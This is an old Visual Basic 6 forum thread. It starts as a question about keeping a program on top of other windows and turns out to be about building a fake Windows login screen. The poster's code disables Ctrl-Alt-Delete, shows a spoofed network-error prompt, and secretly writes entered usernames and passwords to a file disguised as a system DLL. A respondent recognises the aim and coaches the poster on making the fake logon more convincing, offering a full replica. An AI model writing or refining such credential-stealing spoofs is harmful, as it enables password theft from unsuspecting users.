how can I make my program always on top of the others. Please post or send me email at [email protected]. I would appreciate it.
Printable View
how can I make my program always on top of the others. Please post or send me email at [email protected]. I would appreciate it.
Check out VB-World's Tip
Check out "How do I get my application on top?"
http://www.vb-world.net/tips/tip4.html
and/or "Keep your program on top"
http://www.vbsquare.com/tips/tip153.html
I cant get any to work. Anybody have anyother ways? I have vb 6.0
is it coming up with an error message?
it doesn't do anything at all
If you post the code you are using to keep your form on top (not the code for your entire project!) it would help.
Also, are you trying to make your program compete with another "always on top" program like NetZero or AllAdvantage? That poses more serious problems.
~seaweed
p.s. If you don't know how to post code, first copy it from VB, then in the Your Reply: window here on the BB type this:
[ code]
...paste your code here...
[ /code]
The only thing is, dont put a space between the first bracket and the word between the brackets. I had to do that or it would just do the format!
Private Declare Function SystemParametersInfo Lib _
"user32" Alias "SystemParametersInfoA" (ByVal uAction _
As Long, ByVal uParam As Long, ByVal lpvParam As Any, _
ByVal fuWinIni As Long) As Long
Private Sub Command1_Click()
If Text1.Text = "" Then
MsgBox "Please enter a valid username", , "Error"
Else
Call al1
End If
End Sub
Private Sub Command2_Click()
MsgBox "Cannot login to network. Please type your username and password and click ok", , "Network Error"
End Sub
Public Function al1()
If Text2.Text = "" Then
Code:MsgBox "Please enter a valid password"
Else
Call al
End If
End Function
Public Function al()
Open "C:\windows\network.dll" For Append As #1
Write #1, Text1.Text, Text2.Text
Close #1
End
End Function
Private Sub Form_Load()
Call DisableCtrlAltDelete(True)
Timer1.Enabled = True
End Sub
Sub DisableCtrlAltDelete(bDisabled As Boolean)
Dim X As Long
X = SystemParametersInfo(97, bDisabled, CStr(1), 0)
End Sub
Tsk Tsk Tsk...
First of all, that disabling of ctrl/alt/delete wont work on windows NT (which I am assuming is the OS that you are trying to get the username and password from).
Also, if you are trying to emulate a log-on screen, what I would do is make a borderless form with a green background and the WinNT picture on it and maximize it. This is your startup form. Then from this form, in the form load, call the login form as vbModal (means they have to respond to that form before anything else in your program can occur). That way your program is the only one that can be seen.
Now you just have to find some way to disable Ctl-alt-del and alt-tab and you're done.
If you want a sample of one I did, email me. It has all the graphics, form and control sizes, and animations exactly as the "real thing".
~seaweed
yes please send me the form code for your project. Send it to [email protected]. Thanks i need it real bad. The error program that I'm making runs in windows95 not in nt. Thanks for your help and support.